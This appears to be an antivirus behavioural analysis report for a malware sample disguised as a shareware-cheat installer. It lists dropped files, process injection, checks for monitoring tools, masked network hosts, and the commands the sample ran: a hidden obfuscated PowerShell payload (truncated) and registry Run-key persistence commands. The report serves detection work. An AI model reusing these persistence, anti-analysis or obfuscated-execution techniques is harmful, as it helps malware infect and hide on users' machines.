Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'lol' = '%APPDATA%\khir21.js'
Malicious functions
Injects code into
the following user processes:
- urmain.exe
Searches for windows to
detect analytical utilities:
- ClassName: 'FileMonClass', WindowName: ''
- ClassName: 'RegMonClass', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
Modifies file system
Creates the following files
- %TEMP%\autec41.tmp
- %TEMP%\setup.exe
- %TEMP%\autee26.tmp
- %LOCALAPPDATA%\khir21.js
- %TEMP%\is-6aiuj.tmp\setup.tmp
- %TEMP%\is-us0tc.tmp\_isetup\_setup64.tmp
- %TEMP%\is-us0tc.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-us0tc.tmp\isxdl.dll
- %TEMP%\is-us0tc.tmp\urmain.exe
- %TEMP%\is-us0tc.tmp\vcl70.bpl
- %TEMP%\is-us0tc.tmp\rtl70.bpl
- %TEMP%\is-us0tc.tmp\vclx70.bpl
- %APPDATA%\khir21.js
Deletes the following files
- %TEMP%\autec41.tmp
- %TEMP%\autee26.tmp
Network activity
Connects to
- 'ur###tware.com':80
- 'ap###w.website':80
- 'ap###w.website':443
TCP
- 'ap###w.website':443
UDP
- DNS ASK ur###tware.com
- DNS ASK google.com
- DNS ASK ap###w.website
Miscellaneous
Searches for the following windows
- ClassName: 'ThunderRT6FormDC' WindowName: 'Shareware Cheater v 3.0'
- ClassName: 'ThunderRT6FormDC' WindowName: ''
- ClassName: 'MS_WINHELP' WindowName: ''
Creates and executes the following
- '%TEMP%\setup.exe'
- '%TEMP%\is-6aiuj.tmp\setup.tmp' /SL5="$120212,6221486,246272,%TEMP%\setup.exe"
- '%TEMP%\is-us0tc.tmp\urmain.exe' -isregistered
- '%WINDIR%\syswow64\wscript.exe' "%LOCALAPPDATA%\khir21.js"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $gf=(00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "lol" /t REG_SZ /F /D "%APPDATA%\khir21.js"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy "%LOCALAPPDATA%\khir21.js" "%APPDATA%\" /Y' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $gf=(00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010...
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "lol" /t REG_SZ /F /D "%APPDATA%\khir21.js"
- '%WINDIR%\syswow64\cmd.exe' /c copy "%LOCALAPPDATA%\khir21.js" "%APPDATA%\" /Y
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "lol" /t REG_SZ /F /D "%APPDATA%\khir21.js"
